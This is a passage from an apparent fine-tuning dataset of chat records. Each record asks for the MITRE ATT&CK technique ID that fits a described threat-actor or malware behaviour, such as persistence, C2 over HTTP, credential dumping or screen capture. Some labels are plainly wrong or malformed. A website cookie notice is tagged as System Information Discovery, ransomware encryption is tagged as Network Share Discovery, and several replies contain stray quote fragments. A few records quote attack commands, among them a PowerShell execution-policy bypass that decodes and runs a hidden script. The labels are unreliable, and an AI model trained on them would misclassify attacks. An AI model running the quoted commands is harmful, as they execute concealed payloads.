                "content": "Fifteen minutes after domain enumeration, we observed successful lateral movement to two endpoints on the network. Ten minutes after lateral movement, a PowerShell Cobalt Strike loader executed as a service on a server. Even though the execution was not successful, the threat actors kept trying, a total of eight times, until it finally worked. Windows Defender real-time monitoring was then disabled, the LSASS.exe process was dumped using SysInternals ProcDump, and privilege was escalated to “SYSTEM” using named pipe impersonation. "
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution', 'T1068 - Exploitation for Privilege Escalation', 'T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has used Windows Scheduled Tasks to establish persistence on local and remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses ipconfig /all and route PRINT to identify network adapter and interface information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used WMI event filters and consumers to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can schedule tasks via the Windows COM API to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If running in a Windows environment, Kazuar saves a DLL to disk that is injected into the explorer.exe process to execute the payload. Kazuar can also be configured to inject and execute within specific processes."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UBoatRAT can start a command shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto has the capability to upload and download files to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has created a scheduled SYSTEM task that runs when a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper has the ability to deploy through an infected system's default domain policy."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has used scheduled task XML triggers."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has searched the compromised system for banking applications."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally malware reports itself to its hardcoded command and control servers and established a backdoor connection, so the attacker may have a permanent remote connection"
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "119 readFiles Obtains file information on a file or a folder, and supports a “*” wildcard and recursive file list"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can secure delete its DLL."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the newer service variant of BitPaymer is run, it first determines if it is being executed from an alternate data stream. If it is not executed from an alternate data stream, the malware creates a file in the %APPDATA% folder with a random file name between three and eight characters long, containing uppercase and lowercase letters as well as numbers. It then copies itself to the alternate data stream :bin of the newly created file and creates a new process from the stream"
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar can install itself as a new service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution in a vulnerable environment, the PowerShell based payload takes over"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PHOREAL is capable of creating reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "spearphished victims via Facebook and Whatsapp."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Like the function name says Invoke-ReflectivePEInjection loads an portable executable (PE) file or DLL into the current or remote process memory and executes this file in memory."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Moses Staff has used batch scripts that can enable SMB on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of enumerating and making modifications to an infected system's Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker will attempt to encrypt files on local as well as remote (network adjacent and accessible) and removable drives"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT has used Zlib to compress C2 communications data before encrypting it."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use Windows Authentication Packages for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Doki has downloaded scripts from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Screenshot: takes system screenshots and saves them to %AppData% before sending them to the C2 via a POST request"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has the ability to rename its payload to ESTCommon.dll to masquerade as a DLL belonging to ESTsecurity."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unlike recent variants of Mirai and Gafgyt that target vulnerable Linux systems via randomly generated IP addresses, Xbash also scans and trawls through domain names. The C&amp;C scans for specific destinations’ known vulnerabilities in Hadoop, Redis and ActiveMQ (CVE-2016-3088) for self-propagation. Hadoop’s unauthenticated command execution flaw discovered in October 2016, as well as the Redis arbitrary and remote command execution vulnerability disclosed in October 2015, have yet to be assigned CVE numbers. Based on the active C&amp;C traffic, it scans and probes for open TCP or UDP ports such as HTTP, VNC, MySQL/MariaDB, Telnet, FTP, MongoDB, RDP, ElasticSearch, Oracle Database, CouchDB, Rlogin and PostgreSQL. While the malware uses a weak username and password dictionary to brute force itself into the service, it is also able to update its set from the C&amp;C server, delete all the databases, and display the ransom message"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE has the ability to execute commands via `cmd.exe`."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RunningRAT gathers the OS version, logical drives information, processor information, and volume information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses command line for execution."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main function performed by the SCT file is to Base64 decode the contents of WindowsDefender.ini file and execute the decoded PowerShell Script using the following command line: powershell.exe -exec Bypass -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\\\\ProgramData\\\\WindowsDefender.ini) The rest of the malicious activities are performed by the PowerShell Script"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors use the command `net group \"domain admins\" /dom` to enumerate domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has used shell scripts which download mining executables and saves them with the filename \"java\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can use the `GetRegValue` function to check Registry keys within `HKCU\\Software\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated` and `HKLM\\Software\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated`. It also contains additional modules that can check software AutoRun values and use the Win32 namespace to get values from HKCU, HKLM, HKCR, and HKCC hives."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks the language of the machine with function “GetUserDefaultUILanguage” and saves the value in the stack; it is not checked automatically after the call, but it is important later"
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Resolves WINAPI functions 2) Hides its GUI using ShowWindow WINAPI call 3) Compares if the DLL is being ran by wmplayer"
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky has used both HTTP and HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "\"beacon\" payload can collect information on process details."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT can issue SOAP requests to delete already processed C2 emails. RDAT can also delete itself from the infected system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To operate and evade standard analysis tools, most of the functions are hashed"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore uses HTTP requests for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has aggregated collected credentials in text files before exfiltrating."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spark has used a custom XOR algorithm to decrypt the payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes persistence under the Registry key HKCU\\Software\\Run auto_update."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp downloads and executes additional files from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naid collects a unique identifier (UID) from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth relies on the following shortcut for persistence, as it runs the Trojan each time the system starts using the following command line"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SoreFang can collect the TCP/IP, DNS, DHCP, and network adapter configuration on a compromised host via \"ipconfig.exe /all\"."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can perform webcam viewing."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, BoomBox downloads an encrypted file from Dropbox. For demonstration purposes, an example HTTP(s) POST request used to download the encrypted file from Dropbox is shown below"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the current domain the victim system belongs to."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There are likely differences in the Skeleton Key malware documented by Dell SecureWorks and the Mimikatz skeleton key functionality. If all the DCs don’t have skeleton key configured, the master password won’t work when the client authenticates to a DC without skeleton key. Scenario: Either the attacker exploits MS14-068 or has the KRBTGT NTLM password hash and uses it to generate a Kerberos Golden Ticket to impersonate a valid Domain Admin account. Domain Controller Security Events When Implanting the Mimikatz Skeleton Key: When implanting the skeleton key remotely using Mimikatz the following events are logged on the Domain Controller. Authenticating with the Mimikatz Skeleton Key: Testing user password and user account with skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password. Testing Domain Admin account with password &amp; skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password. Skeleton Key Mitigation: - Protect domain-level admin (DLA) accounts (Domain Admin, Administrators, etc) which reduces the risk of attackers gaining access to these credentials. Don’t let DLA accounts logon to systems at a different security level from Domain Controllers"
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can capture a screenshot from a victim."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GeminiDuke uses HTTP and HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa sent the victim computer identifier in a User-Agent string back to the C2 server every 10 minutes."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mofang's spearphishing emails required a user to click the link to connect to a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Brave Prince gathers file and directory information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This thread searches for for files with the following extensions on fixed drives and sends them to C2 every 60 minutes"
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has run a keylogger plug-in on a victim."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pandora can communicate over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During CostaRicto, the threat actors obtained open source tools to use in their operations."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The QuietSieve malware family refers to a series of heavily-obfuscated .NET binaries specifically designed to steal information from the target host. If this check succeeds, a randomly-generated alphanumeric prefix is created and combined with the callback domain as a subdomain before an initial request is made over HTTPS"
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has the ability to search for designated file paths and Registry keys that indicate a virtualized environment from multiple products."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare can search the registry files of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the backdoor is configured to use HTTPS to communicate with the C2, the functionality is largely the same as when in HTTP mode. The differences are that it lacks the options to update a session key due to encryption being handled by the TLS layer and it also does not have the option to send data to and from the C2 in the chunking mode previously described. In addition, only one transmission is made to the C2 when the malware is establishing a connection as there is no exchange of an AES session key. The hello message that is sent contains the same plaintext data as the HTTP mode"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers manually send a command to the JS or C# component to drop and execute a batch file from one of their servers. That batch file writes a malicious INF file and supplies it as a parameter to the Microsoft utility cmstp.exe, which executes a remote scriptlet specified in the INF file. The remote scriptlet contains obfuscated JS code that drops an OCX file and executes it via regsvr32.exe"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
